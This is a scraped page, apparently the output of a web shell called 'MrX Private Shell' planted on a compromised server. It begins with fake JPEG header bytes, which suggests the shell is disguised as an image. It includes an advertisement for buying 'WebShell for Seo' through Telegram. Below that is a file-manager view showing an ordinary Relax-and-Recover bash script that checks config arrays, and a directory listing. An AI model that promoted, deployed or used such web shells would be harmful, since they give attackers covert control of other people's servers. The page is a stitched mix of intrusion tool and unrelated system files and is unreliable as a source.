����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Ensure that all array variables are assigned as arrays in user provided configuration.
# This avoids user config mistakes which can lead to obscure and severe errors,
# see https://github.com/rear/rear/issues/2930 and for an example
# see https://github.com/rear/rear/issues/2911
#
# Bash variables retain the array attribute even if name=value syntax is used to assign
# a new value because the new assignment changes the first member of the array.
# Therefore it is enough to take all currently defined array variables
# and check for wrong assignments in the user configuration.
# Skip this test when 'mapfile' (a bash 4.x builtin) is not available:
# sed from such old systems also don't support -E
type -a mapfile 1>/dev/null || return 0
local -a var_assignments array_variables
mapfile -t array_variables < <(
declare -p | sed -n -E -e '/^declare -a/s/declare [-arxlu]+ ([A-Za-z0-9_-]+)=.*/\1/p'
)
for config in "$CONFIG_DIR"/{site,local,rescue}.conf "${CONFIG_APPEND_FILES_PATHS[@]}"; do
test -r "$config" || continue
for var in "${array_variables[@]}"; do
# Do not check comment lines for falsely assigned array variables:
mapfile -t var_assignments < <(
grep -v '^[[:space:]]*#' "$config" | sed -n -E -e "/(^|\W+)$var\+?=/p"
)
for line in "${var_assignments[@]}"; do
[[ "$line" == *$var?(+)=\(* ]] || Error "Syntax error: Variable $var not assigned as Bash array in $config:$LF$line$LF"
done
done
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 001_verify_config_arrays.sh | File | 1.47 KB | 0644 |
|
| 002_check_rear_recover_mode.sh | File | 1.95 KB | 0644 |
|
| 010_EFISTUB_check.sh | File | 368 B | 0644 |
|
| 010_set_drlm_env.sh | File | 135 B | 0644 |
|
| 030_update_recovery_system.sh | File | 2.66 KB | 0644 |
|
| 100_check_stale_nfs_mounts.sh | File | 1.15 KB | 0644 |
|
| 950_check_missing_programs.sh | File | 1.93 KB | 0644 |
|
| 998_dump_variables.sh | File | 1.08 KB | 0644 |
|